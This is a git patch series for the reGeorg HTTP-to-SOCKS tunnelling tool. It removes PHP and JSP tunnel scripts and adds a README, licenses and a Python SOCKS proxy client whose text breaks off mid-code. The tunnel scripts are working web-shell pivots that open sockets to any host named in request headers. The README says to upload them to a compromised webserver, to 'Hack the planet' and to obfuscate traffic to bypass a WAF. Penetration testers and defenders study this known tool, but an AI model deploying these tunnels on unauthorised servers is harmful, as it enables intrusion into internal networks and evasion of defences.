$rx_matches); - } - $arh[$arh_key] = $val; - } - } - return( $arh ); - } -} -if ($_SERVER['REQUEST_METHOD'] === 'GET') -{ - exit("Georg says, 'All seems fine'"); -} - -if ($_SERVER['REQUEST_METHOD'] === 'POST') { - set_time_limit(0); - $headers=apache_request_headers(); - $cmd = $headers["X-CMD"]; - switch($cmd){ - case "CONNECT": - { - $target = $headers["X-TARGET"]; - $port = (int)$headers["X-PORT"]; - #$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - #if ($sock === false) - #{ - # header('X-STATUS: FAIL'); - # header('X-ERROR: Failed creating socket'); - # return; - #} - $res = fsockopen($target, $port); - #$res = @socket_connect($sock, $target, $port); - if ($res === false) - { - header('X-STATUS: FAIL'); - header('X-ERROR: Failed connecting to target'); - return; - } - #socket_set_nonblock($res); - - stream_set_blocking($res, false); - @session_start(); - $_SESSION["run"] = true; - $_SESSION["writebuf"] = ""; - $_SESSION["readbuf"] = ""; - ob_end_clean(); - header('X-STATUS: OK'); - header("Connection: close"); - ignore_user_abort(); - ob_start(); - $size = ob_get_length(); - header("Content-Length: $size"); - ob_end_flush(); - flush(); - session_write_close(); - - while ($_SESSION["run"]) - { - $readBuff = ""; - @session_start(); - $writeBuff = $_SESSION["writebuf"]; - $_SESSION["writebuf"] = ""; - session_write_close(); - if ($writeBuff != "") - { - stream_set_blocking($res, false); - $i = fwrite($res, $writeBuff); #socket_write($sock, $writeBuff, strlen($writeBuff)); - if($i === false) - { - @session_start(); - $_SESSION["run"] = false; - session_write_close(); - header('X-STATUS: FAIL'); - header('X-ERROR: Failed writing socket'); - } - } - # stream_set_timeout($res, 1); - stream_set_blocking($res, false); - while ($o = fgets($res, 10)) { - if($o === false) - { - @session_start(); - $_SESSION["run"] = false; - session_write_close(); - header('X-STATUS: FAIL'); - header('X-ERROR: Failed reading from socket'); - } - $readBuff .= $o; - } - if ($readBuff!=""){ - @session_start(); - $_SESSION["readbuf"] .= $readBuff; - session_write_close(); - } - #sleep(0.2); - } - fclose($res); - } - break; - case "DISCONNECT": - { - error_log("DISCONNECT recieved"); - @session_start(); - $_SESSION["run"] = false; - session_write_close(); - return; - } - break; - case "READ": - { - @session_start(); - $readBuffer = $_SESSION["readbuf"]; - $_SESSION["readbuf"]=""; - $running = $_SESSION["run"]; - session_write_close(); - if ($running) { - header('X-STATUS: OK'); - header("Connection: Keep-Alive"); - echo $readBuffer; - return; - } else { - header('X-STATUS: FAIL'); - header('X-ERROR: RemoteSocket read filed'); - return; - } - } - break; - case "FORWARD": - { - @session_start(); - $running = $_SESSION["run"]; - session_write_close(); - if(!$running){ - header('X-STATUS: FAIL'); - header('X-ERROR: No more running, close now'); - return; - } - header('Content-Type: application/octet-stream'); - $rawPostData = file_get_contents("php://input"); - if ($rawPostData) { - @session_start(); - $_SESSION["writebuf"] .= $rawPostData; - session_write_close(); - header('X-STATUS: OK'); - header("Connection: Keep-Alive"); - return; - } else { - header('X-STATUS: FAIL'); - header('X-ERROR: POST request read filed'); - } - } - break; - } -} -?> diff --git a/tunnel.php b/tunnel.php deleted file mode 100644 index 8a139e3..0000000 --- a/tunnel.php +++ /dev/null @@ -1,194 +0,0 @@ - $val) { - if( preg_match($rx_http, $key) ) { - $arh_key = preg_replace($rx_http, '', $key); - $rx_matches = array(); - $rx_matches = explode('_', $arh_key); - if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) { - foreach($rx_matches as $ak_key => $ak_val) { - $rx_matches[$ak_key] = ucfirst($ak_val); - } - - $arh_key = implode('-', $rx_matches); - } - $arh[$arh_key] = $val; - } - } - return( $arh ); - } -} -if ($_SERVER['REQUEST_METHOD'] === 'GET') -{ - exit("Georg says, 'All seems fine'"); -} - -if ($_SERVER['REQUEST_METHOD'] === 'POST') { - set_time_limit(0); - $headers=apache_request_headers(); - $cmd = $headers["X-CMD"]; - switch($cmd){ - case "CONNECT": - { - $target = $headers["X-TARGET"]; - $port = (int)$headers["X-PORT"]; - $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - if ($sock === false) - { - header('X-STATUS: FAIL'); - header('X-ERROR: Failed creating socket'); - return; - } - $res = @socket_connect($sock, $target, $port); - if ($res === false) - { - header('X-STATUS: FAIL'); - header('X-ERROR: Failed connecting to target'); - return; - } - socket_set_nonblock($sock); - @session_start(); - $_SESSION["run"] = true; - $_SESSION["writebuf"] = ""; - $_SESSION["readbuf"] = ""; - ob_end_clean(); - header('X-STATUS: OK'); - header("Connection: close"); - ignore_user_abort(); - ob_start(); - $size = ob_get_length(); - header("Content-Length: $size"); - ob_end_flush(); - flush(); - session_write_close(); - - while ($_SESSION["run"]) - { - $readBuff = ""; - @session_start(); - $writeBuff = $_SESSION["writebuf"]; - $_SESSION["writebuf"] = ""; - session_write_close(); - if ($writeBuff != "") - { - $i = socket_write($sock, $writeBuff, strlen($writeBuff)); - if($i === false) - { - @session_start(); - $_SESSION["run"] = false; - session_write_close(); - header('X-STATUS: FAIL'); - header('X-ERROR: Failed writing socket'); - } - } - while ($o = socket_read($sock, 512)) { - if($o === false) - { - @session_start(); - $_SESSION["run"] = false; - session_write_close(); - header('X-STATUS: FAIL'); - header('X-ERROR: Failed reading from socket'); - } - $readBuff .= $o; - } - if ($readBuff!=""){ - @session_start(); - $_SESSION["readbuf"] .= $readBuff; - session_write_close(); - } - #sleep(0.2); - } - socket_close($sock); - } - break; - case "DISCONNECT": - { - error_log("DISCONNECT recieved"); - @session_start(); - $_SESSION["run"] = false; - session_write_close(); - return; - } - break; - case "READ": - { - @session_start(); - $readBuffer = $_SESSION["readbuf"]; - $_SESSION["readbuf"]=""; - $running = $_SESSION["run"]; - session_write_close(); - if ($running) { - header('X-STATUS: OK'); - header("Connection: Keep-Alive"); - echo $readBuffer; - return; - } else { - header('X-STATUS: FAIL'); - header('X-ERROR: RemoteSocket read filed'); - return; - } - } - break; - case "FORWARD": - { - @session_start(); - $running = $_SESSION["run"]; - session_write_close(); - if(!$running){ - header('X-STATUS: FAIL'); - header('X-ERROR: No more running, close now'); - return; - } - header('Content-Type: application/octet-stream'); - $rawPostData = file_get_contents("php://input"); - if ($rawPostData) { - @session_start(); - $_SESSION["writebuf"] .= $rawPostData; - session_write_close(); - header('X-STATUS: OK'); - header("Connection: Keep-Alive"); - return; - } else { - header('X-STATUS: FAIL'); - header('X-ERROR: POST request read filed'); - } - } - break; - } -} -?> diff --git a/tunnel.tomcat.5.jsp b/tunnel.tomcat.5.jsp deleted file mode 100644 index 3e8dbf4..0000000 --- a/tunnel.tomcat.5.jsp +++ /dev/null @@ -1,111 +0,0 @@ -<%/* - _____ - _____ ______ __|___ |__ ______ _____ _____ ______ - | | | ___|| ___| || ___|/ \| | | ___| - | \ | ___|| | | || ___|| || \ | | | - |__|\__\|______||______| __||______|\_____/|__|\__\|______| - |_____| - ... every office needs a tool like Georg - - willem@sensepost.com / @_w_m__ - sam@sensepost.com / @trowalts - etienne@sensepost.com / @kamp_staaldraad - -Legal Disclaimer -Usage of reGeorg for attacking networks without consent -can be considered as illegal activity. The authors of -reGeorg assume no liability or responsibility for any -misuse or damage caused by this program. - -If you find reGeorge on one of your servers you should -consider the server compromised and likely further compromise -to exist within your internal network. - -For more information, see: -https://github.com/sensepost/reGeorg - -*/%><%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" %><% - String cmd = request.getHeader("X-CMD"); - if (cmd != null) { - response.setHeader("X-STATUS", "OK"); - if (cmd.compareTo("CONNECT") == 0) { - try { - String target = request.getHeader("X-TARGET"); - int port = Integer.parseInt(request.getHeader("X-PORT")); - SocketChannel socketChannel = SocketChannel.open(); - socketChannel.connect(new InetSocketAddress(target, port)); - socketChannel.configureBlocking(false); - session.setAttribute("socket", socketChannel); - response.setHeader("X-STATUS", "OK"); - } catch (UnknownHostException e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - } catch (IOException e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - - } - } else if (cmd.compareTo("DISCONNECT") == 0) { - SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); - try{ - socketChannel.socket().close(); - } catch (Exception ex) { - System.out.println(ex.getMessage()); - } - session.invalidate(); - } else if (cmd.compareTo("READ") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); - try { - ByteBuffer buf = ByteBuffer.allocate(512); - int bytesRead = socketChannel.read(buf); - ServletOutputStream so = response.getOutputStream(); - while (bytesRead > 0){ - so.write(buf.array(),0,bytesRead); - so.flush(); - buf.clear(); - bytesRead = socketChannel.read(buf); - } - response.setHeader("X-STATUS", "OK"); - so.flush(); - so.close(); - - } catch (Exception e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - //socketChannel.socket().close(); - } - - } else if (cmd.compareTo("FORWARD") == 0){ - SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket"); - try { - - int readlen = request.getContentLength(); - byte[] buff = new byte[readlen]; - - request.getInputStream().read(buff, 0, readlen); - ByteBuffer buf = ByteBuffer.allocate(readlen); - buf.clear(); - buf.put(buff); - buf.flip(); - - while(buf.hasRemaining()) { - socketChannel.write(buf); - } - response.setHeader("X-STATUS", "OK"); - //response.getOutputStream().close(); - - } catch (Exception e) { - System.out.println(e.getMessage()); - response.setHeader("X-ERROR", e.getMessage()); - response.setHeader("X-STATUS", "FAIL"); - socketChannel.socket().close(); - } - } - } else { - //PrintWriter o = response.getWriter(); - out.print("Georg says, 'All seems fine'"); - } -%> From 1fc8a3b7f839608eddcc0711bb93b37214c328fa Mon Sep 17 00:00:00 2001 From: gorgiaxx Date: Mon, 9 Apr 2018 12:06:49 +0800 Subject: [PATCH 2/2] optimized --- LICENSE.html | 1 + LICENSE.txt | 5 + README.md | 106 +++++++ reGeorgSocksProxy.py | 570 ++++++++++++++++++++++++++++++++++++ tunnels/forward.jsp | 37 +++ tunnels/tunnel.404.jsp | 123 ++++++++ tunnels/tunnel.ashx | 139 +++++++++ tunnels/tunnel.aspx | 148 ++++++++++ tunnels/tunnel.js | 239 +++++++++++++++ tunnels/tunnel.jsp | 136 +++++++++ tunnels/tunnel.nosocket.php | 196 +++++++++++++ tunnels/tunnel.php | 205 +++++++++++++ tunnels/tunnel.tomcat.5.jsp | 136 +++++++++ 13 files changed, 2041 insertions(+) create mode 100644 LICENSE.html create mode 100644 LICENSE.txt create mode 100644 README.md create mode 100644 reGeorgSocksProxy.py create mode 100644 tunnels/forward.jsp create mode 100644 tunnels/tunnel.404.jsp create mode 100644 tunnels/tunnel.ashx create mode 100644 tunnels/tunnel.aspx create mode 100644 tunnels/tunnel.js create mode 100644 tunnels/tunnel.jsp create mode 100644 tunnels/tunnel.nosocket.php create mode 100644 tunnels/tunnel.php create mode 100644 tunnels/tunnel.tomcat.5.jsp diff --git a/LICENSE.html b/LICENSE.html new file mode 100644 index 0000000..aac0baa --- /dev/null +++ b/LICENSE.html @@ -0,0 +1 @@ +Creative Commons License
SensePost reGeorg by Willem Mouton is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
Permissions beyond the scope of this license may be available at willem@sensepost.com diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..c347117 --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,5 @@ +This work is licensed under the Creative Commons +Attribution-Non Commercial-ShareAlike 4.0 International +License. To view a copy of this license, visit + +http://creativecommons.org/licenses/by-nc-sa/4.0/deed.en_US. diff --git a/README.md b/README.md new file mode 100644 index 0000000..9934293 --- /dev/null +++ b/README.md @@ -0,0 +1,106 @@ +reGeorg +========= + +``` _____ + _____ ______ __|___ |__ ______ _____ _____ ______ + | | | ___|| ___| || ___|/ \| | | ___| + | \ | ___|| | | || ___|| || \ | | | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| + |_____| + ... every office needs a tool like Georg +``` +willem@sensepost.com / [@\_w\_m\_\_] + +sam@sensepost.com / [@trowalts] + +etienne@sensepost.com / [@kamp_staaldraad] + +imbeee@qq.com / [@imbeee] + + +Version +---- + +1.1 + +Dependencies +----------- + +reGeorg requires Python 2.7 and the following modules: + +* [urllib3] - HTTP library with thread-safe connection pooling, file post, and more. + + +Usage +-------------- + +``` +$ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v] + +Socks server for reGeorg HTTP(s) tunneller + +optional arguments: + -h, --help show this help message and exit + -l , --listen-on The default listening address + -p , --listen-port The default listening port + -r , --read-buff Local read buffer, max data to be sent per Request + -w , --write-buff Remote read buffer, max data to be received per Response + -u , --url The url containing the tunnel script + -v , --verbose Verbose output[INFO|DEBUG] + --payloads-mode Select reGeorg request headers payloads mode[header|url] + --without-check Start proxy without check if tunnel url accessable + --custom-headers Set custom header[{'Cookies': 'JSESSIONID=ABC123;Token=asdfghjkl', 'Authorization': 'Basic YWRtaW46YWRtaW4=', 'Referer': 'trusted.net'}] +``` + +* **Step 1.** +Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to +you) + +* **Step 2.** +Configure you tools to use a socks proxy, use the ip address and port you +specified when +you started the reGeorgSocksProxy.py + +** Note, if you tools, such as NMap doesn't support socks proxies, use +[proxychains] (see wiki) + +* **Step 3.** Hack the planet :) + + +Example +--------- + +```bash +$ python reGeorgSocksProxy.py -l 127.0.0.1 -p 8080 -u https://upload.sensepost.net:8080/tunnel/tunnel.jsp +$ python reGeorgSocksProxy.py -p 8080 -r 4096 -w 4096 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp --custom-headers "{'Cookies': 'JSESSIONID=ABC123;Token=asdfghjkl', 'Authorization': 'Basic YWRtaW46YWRtaW4=', 'Referer': 'trusted.net'}" +``` + +ChangeLog +--------- + +1.1 (2017-12-16) + +* Single session mode (imbeee) +* Custom headers. +* Optional buffer size, the transfer speed many times faster. +* Optional url check. +* Proxy headers payloads can be selected between URL parameters and Request headers. + +TODO +--------- + +* The proxy header need to be obfuscated. (WAF bypass) + +License +---- + +MIT + + +[@\_w\_m\_\_]:http://twitter.com/_w_m__ +[@trowalts]:http://twitter.com/trowalts +[@kamp_staaldraad]:http://twitter.com/kamp_staaldraad +[@imbeee]:https://www.imbeee.com/ +[@gorgias]:https://gorgias.me/ +[urllib3]:https://pypi.python.org/pypi/urllib3 +[proxychains]:http://sourceforge.net/projects/proxychains/ diff --git a/reGeorgSocksProxy.py b/reGeorgSocksProxy.py new file mode 100644 index 0000000..8b3c210 --- /dev/null +++ b/reGeorgSocksProxy.py @@ -0,0 +1,570 @@ +#!/usr/bin/python2 +# -*- coding: utf-8 -*- + +import logging +import argparse +import signal +import sys +import atexit +import httplib +import urllib3 +from threading import Thread +from urlparse import urlparse +from socket import * +from threading import Thread +from time import sleep +import re +import random + +# import struct + +# Constants +SOCKTIMEOUT = 5 +RESENDTIMEOUT = 300 +VER = "\x05" +METHOD = "\x00" +SUCCESS = "\x00" +SOCKFAIL = "\x01" +NETWORKFAIL = "\x02" +HOSTFAIL = "\x04" +REFUSED = "\x05" +TTLEXPIRED = "\x06" +UNSUPPORTCMD = "\x07" +ADDRTYPEUNSPPORT = "\x08" +UNASSIGNED = "\x09" + +BASICCHECKSTRING = "Georg says, 'All seems fine'" + +# Globals +READBUFSIZE = 4096 +WRITEBUFSIZE = 4096 + +# Logging +RESET_SEQ = "\033[0m" +COLOR_SEQ = "\033[1;%dm" +BOLD_SEQ = "\033[1m" + +BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) + +LEVEL = {"INFO": logging.INFO, + "DEBUG": logging.DEBUG, + } + +logLevel = "INFO" + +COLORS = { + 'WARNING': YELLOW, + 'INFO': WHITE, + 'DEBUG': BLUE, + 'CRITICAL': YELLOW, + 'ERROR': RED, + 'RED': RED, + 'GREEN': GREEN, + 'YELLOW': YELLOW, + 'BLUE': BLUE, + 'MAGENTA': MAGENTA, + 'CYAN': CYAN, + 'WHITE': WHITE, +} + +PAYLOADS_MODE = "header" + +def formatter_message(message, use_color=True): + if use_color: + message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ) + else: + message = message.replace("$RESET", "").replace("$BOLD", "") + return message + + +class ColoredFormatter(logging.Formatter): + def __init__(self, msg, use_color=True): + logging.Formatter.__init__(self, msg) + self.use_color = use_color + + def format(self, record): + levelname = record.levelname + if self.use_color and levelname in COLORS: + levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ + record.levelname = levelname_color + return logging.Formatter.format(self, record) + + +class ColoredLogger(logging.Logger): + + def __init__(self, name): + FORMAT = "[$BOLD%(levelname)-18s$RESET] %(message)s" + COLOR_FORMAT = formatter_message(FORMAT, True) + logging.Logger.__init__(self, name, logLevel) + if (name == "transfer"): + COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT + color_formatter = ColoredFormatter(COLOR_FORMAT) + + console = logging.StreamHandler() + console.setFormatter(color_formatter) + + self.addHandler(console) + return + + +logging.setLoggerClass(ColoredLogger) +log = logging.getLogger(__name__) +transferLog = logging.getLogger("transfer") + + +class SocksCmdNotImplemented(Exception): + pass + + +class SocksProtocolNotImplemented(Exception): + pass + + +class RemoteConnectionFailed(Exception): + pass + + +class session(Thread): + def __init__(self, pSocket, connectString, cookies, headers): + Thread.__init__(self) + self.pSocket = pSocket + self.connectString = connectString + o = urlparse(connectString) + try: + self.httpPort = o.port + except: + if o.scheme == "https": + self.httpPort = 443 + else: + self.httpPort = 80 + self.httpScheme = o.scheme + self.httpHost = o.netloc.split(":")[0] + self.httpPath = o.path + self.cookieDic = {} + self.cookie = None + self.headers = headers + self.bSingleSessionMode = False + if o.scheme == "http": + self.httpScheme = urllib3.HTTPConnectionPool + else: + self.httpScheme = urllib3.HTTPSConnectionPool + if cookies: + self.bSingleSessionMode = True + self.socketID = self.reqRand() + for cookie in cookies.split(';'): + kv = cookie.strip().split('=') + self.cookieDic[kv[0]] = kv[1] + + + def parseSocks5(self, sock): + log.debug("SocksVersion5 detected") + nmethods, methods = (sock.recv(1), sock.recv(1)) + sock.sendall(VER + METHOD) + ver = sock.recv(1) + if ver == "\x02": # this is a hack for proxychains + ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1)) + else: + cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1)) + target = None + targetPort = None + if atyp == "\x01": # IPv4 + # Reading 6 bytes for the IP and Port + target = sock.recv(4) + targetPort = sock.recv(2) + target = ".".join([str(ord(i)) for i in target]) + elif atyp == "\x03": # Hostname + targetLen = ord(sock.recv(1)) # hostname length (1 byte) + target = sock.recv(targetLen) + targetPort = sock.recv(2) + target = "".join([unichr(ord(i)) for i in target]) + elif atyp == "\x04": # IPv6 + target = sock.recv(16) + targetPort = sock.recv(2) + tmp_addr = [] + for i in xrange(len(target) / 2): + tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1]))) + target = ":".join(tmp_addr) + targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) + if cmd == "\x02": # BIND + raise SocksCmdNotImplemented("Socks5 - BIND not implemented") + elif cmd == "\x03": # UDP + raise SocksCmdNotImplemented("Socks5 - UDP not implemented") + elif cmd == "\x01": # CONNECT + serverIp = target + try: + serverIp = gethostbyname(target) + except: + log.error("oeps") + serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) + self.cookie = self.setupRemoteSession(target, targetPort) + if self.cookie: + sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) + return True + else: + sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) + raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort)) + + raise SocksCmdNotImplemented("Socks5 - Unknown CMD") + + def parseSocks4(self, sock): + log.debug("SocksVersion4 detected") + cmd = sock.recv(1) + if cmd == "\x01": # Connect + targetPort = sock.recv(2) + targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) + target = sock.recv(4) + sock.recv(1) + target = ".".join([str(ord(i)) for i in target]) + serverIp = target + try: + serverIp = gethostbyname(target) + except: + log.error("oeps") + serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) + self.cookie = self.setupRemoteSession(target, targetPort) + if self.cookie: + sock.sendall(chr(0) + chr(90) + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) + return True + else: + sock.sendall("\x00" + "\x91" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) + raise RemoteConnectionFailed("Remote connection failed") + else: + raise SocksProtocolNotImplemented("Socks4 - Command [%d] Not implemented" % ord(cmd)) + + def handleSocks(self, sock): + # This is where we setup the socks connection + ver = sock.recv(1) + if ver == "\x05": + return self.parseSocks5(sock) + elif ver == "\x04": + return self.parseSocks4(sock) + + def cookiesFilter(self, cookie): + newcookies = [] + if cookie: + for x in cookie.split(','): + if ';' in x: + match = re.findall('((.+?)=(.+?));(\sdomain=(.+);)?', x.strip()) + if match: + if match[0][4] == self.httpHost or match[0][4] == '': + self.cookieDic[match[0][1]] = match[0][2] + else: + self.cookieDic[x.split('=')[0]] = x.split('=')[1] + for k in self.cookieDic.keys(): + newcookies.append(k + '=' + self.cookieDic[k]) + return '; '.join(newcookies) + + def reqRand(self): + return ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 10)) + + def setupRemoteSession(self, target, port): + headers = self.headers.copy() + self.target = target + self.port = port + + conns = None + if PAYLOADS_MODE == "header": + headers['X-CMD'] = "CONNECT" + headers['X-TARGET'] = target + headers['X-PORT'] = port + headers['Bufsize'] = WRITEBUFSIZE + conns = self.connectString + if self.bSingleSessionMode: + cookie = self.cookiesFilter(None) + headers['Cookie'] = cookie + headers['socketID'] = self.socketID + else: + cookie = None + elif PAYLOADS_MODE == "url": + if self.bSingleSessionMode: + cookie = self.cookiesFilter(None) + headers['Cookie'] = cookie + headers['socketID'] = self.socketID + conns = self.connectString + "?cmd=connect&target={}&port={}&socketID={}&bufSize={}".format(target, port, + self.socketID, WRITEBUFSIZE) + else: + conns = self.connectString + "?cmd=connect&target={}&port={}&bufSize={}".format(target, port, WRITEBUFSIZE) + cookie = None + + conn = self.httpScheme(host=self.httpHost, port=self.httpPort) + response = conn.urlopen('POST', conns, headers=headers, body="") + if response.status == 200: + status = response.getheader("x-status") + if status == "OK": + cookie = response.getheader("set-cookie") + log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie)) + else: + if response.getheader("X-ERROR") != None: + log.error(response.getheader("X-ERROR")) + else: + log.error( + "[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR"))) + log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data)) + conn.close() + return self.cookiesFilter(cookie) + + def closeRemoteSession(self): + headers = self.headers.copy() + headers['Cookie'] = self.cookie + conns = "" + if PAYLOADS_MODE == "header": + headers['X-CMD'] = "DISCONNECT" + if self.bSingleSessionMode: + headers['socketID'] = self.socketID + conns = self.connectString + else: + conns = self.connectString + + elif PAYLOADS_MODE == "url": + if self.bSingleSessionMode: + headers['socketID'] = self.socketID + conns = self.connectString + "?cmd=disconnect&socketID={}".format(self.socketID) + else: + conns = self.connectString + "?cmd=disconnect" + + conn = self.httpScheme(host=self.httpHost, port=self.httpPort) + + response = conn.urlopen('POST', conns, headers=headers, body="") + if response.status == 200: + log.info("[%s:%d] Connection Terminated" % (self.target, self.port)) + conn.close() + + def reader(self): + global WRITEBUFSIZE + conn = urllib3.PoolManager() + while True: + try: + if not self.pSocket: break + + headers = self.headers.copy() + headers['X-CMD'] = "READ" + headers['Connection'] = "Keep-Alive" + headers['Bufsize'] = WRITEBUFSIZE + headers['Cookie'] = self.cookie + conns = "" + if PAYLOADS_MODE == "header": + if self.bSingleSessionMode: + headers['socketID'] = self.socketID + conns = self.connectString + else: + conns = self.connectString + elif PAYLOADS_MODE == "url": + if self.bSingleSessionMode: + conns = self.connectString + "?cmd=connect&socketID={}&bufSize={}".format(self.socketID, WRITEBUFSIZE) + else: + conns = self.connectString + "?cmd=connect&bufSize={}".format(WRITEBUFSIZE) + + response = conn.urlopen('POST', conns, headers=headers, body="") + data = None + if response.status == 200: + status = response.getheader("x-status") + if status == "OK": + if response.getheader("set-cookie") != None: + self.cookie = self.cookiesFilter(response.getheader("set-cookie")) + data = response.data + # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters + try: + if response.getheader("server").find("Apache-Coyote/1.1") > 0: + data = data[:len(data) - 1] + except: + pass + if data == None: data = "" + else: + data = None + + log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % ( + self.target, self.port, response.status, status, response.getheader("X-ERROR"))) + else: + log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status)) + if data == None: + # Remote socket closed + break + if len(data) == 0: + sleep(0.1) + continue + transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data))) + self.pSocket.send(data) + except Exception, ex: + raise ex + self.closeRemoteSession() + log.debug("[%s:%d] Closing localsocket" % (self.target, self.port)) + try: + self.pSocket.close() + except: + log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port)) + + def writer(self): + global READBUFSIZE + conn = urllib3.PoolManager() + while True: + try: + self.pSocket.settimeout(1) + data = self.pSocket.recv(READBUFSIZE) + if not data: break + + headers = self.headers.copy() + headers['X-CMD'] = "FORWARD" + headers['Connection'] = "Keep-Alive" + headers['Content-Type'] = "application/octet-stream" + headers['Cookie'] = self.cookie + conns = "" + if PAYLOADS_MODE == "header": + if self.bSingleSessionMode: + headers['socketID'] = self.socketID + conns = self.connectString + else: + conns = self.connectString + elif PAYLOADS_MODE == "url": + if self.bSingleSessionMode: + conns = self.connectString + "?cmd=forward&socketID={}".format(self.socketID) + else: + conns = self.connectString + "?cmd=forward".format() + + response = conn.urlopen('POST', conns, headers=headers, body=data) + if response.status == 200: + status = response.getheader("x-status") + if status == "OK": + if response.getheader("set-cookie") != None: + self.cookie = self.cookiesFilter(response.getheader("set-cookie")) + else: + log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % ( + self.target, self.port, response.status, status, response.getheader("x-error"))) + break + else: + log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status)) + break + transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data))) + except timeout: + continue + except Exception, ex: + raise ex + break + self.closeRemoteSession() + log.debug("Closing localsocket") + try: + self.pSocket.close() + except: + log.debug("Localsocket already closed") + + def run(self): + try: + if self.handleSocks(self.pSocket): + log.debug("Staring reader") + r = Thread(target=self.reader, args=()) + r.start() + log.debug("Staring writer") + w = Thread(target=self.writer, args=()) + w.start() + r.join() + w.join() + except SocksCmdNotImplemented, si: + log.error(si.message) + self.pSocket.close() + except SocksProtocolNotImplemented, spi: + log.error(spi.message) + self.pSocket.close() + except Exception, e: + log.error(e.message) + self.pSocket.close() + + +def askGeorg(connectString, cookies, headers): + if cookies: + headers = dict({'Cookie': cookies}.items() + headers.items()) + connectString = connectString + o = urlparse(connectString) + try: + httpPort = o.port + except: + if o.scheme == "https": + httpPort = 443 + else: + httpPort = 80 + httpScheme = o.scheme + httpHost = o.netloc.split(":")[0] + httpPath = o.path + if o.scheme == "http": + httpScheme = urllib3.HTTPConnectionPool + else: + httpScheme = urllib3.HTTPSConnectionPool + + conn = httpScheme(host=httpHost, port=httpPort, headers=headers) + response = conn.request("GET", httpPath) + if response.status == 200: + if BASICCHECKSTRING == response.data.strip()[:len(BASICCHECKSTRING)]: + log.info(BASICCHECKSTRING) + return True + conn.close() + return False + + +if __name__ == '__main__': + print """\033[1m + \033[1;33m _____ + _____ ______ __|___ |__ ______ _____ _____ ______ + | | | ___|| ___| || ___|/ \| | | ___| + | \ | ___|| | | || ___|| || \ | | | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| + |_____| + ... every office needs a tool like Georg + + willem@sensepost.com / @_w_m__ + sam@sensepost.com / @trowalts + etienne@sensepost.com / @kamp_staaldraad + \033[0m + """ + log.setLevel(logging.DEBUG) + parser = argparse.ArgumentParser(description='Socks server for reGeorg HTTP(s) tunneller') + parser.add_argument("-u", "--url", metavar="", required=True, help="The url containing the tunnel script") + parser.add_argument("-l", "--listen-on", metavar="", help="The default listening address", default="127.0.0.1") + parser.add_argument("-p", "--listen-port", metavar="", help="The default listening port", type=int, default="8888") + parser.add_argument("-r", "--read-buf", metavar="", help="Local read buffer, max data to be sent per Request", type=int, default="4096") + parser.add_argument("-w", "--write-buf", metavar="", help="Remote read buffer, max data to be received per Response", type=int, default="4096") + parser.add_argument("-v", "--verbose", metavar="", help="Verbose output[INFO|DEBUG]", default="INFO") + parser.add_argument("-m", "--payloads-mode", nargs='?', metavar="", help="Select reGeorg request headers payloads mode[header|url|body]", default="header") + parser.add_argument("-W", "--without-check", help="Start proxy without check if tunnel url accessable", action="store_true") + parser.add_argument("-c", "--custom-headers", nargs='?', metavar="", help="Set custom header {'Cookie': 'JSESSIONID=ABC123;Token=asdfghjkl', 'Authorization': 'Basic YWRtaW46YWRtaW4=', 'Referer': 'trusted.net'}", default=None) + + args = parser.parse_args() + if (LEVEL.has_key(args.verbose)): + log.setLevel(LEVEL[args.verbose]) + log.info("Log Level set to [%s]" % args.verbose) + + PAYLOADS_MODE = args.payloads_mode + 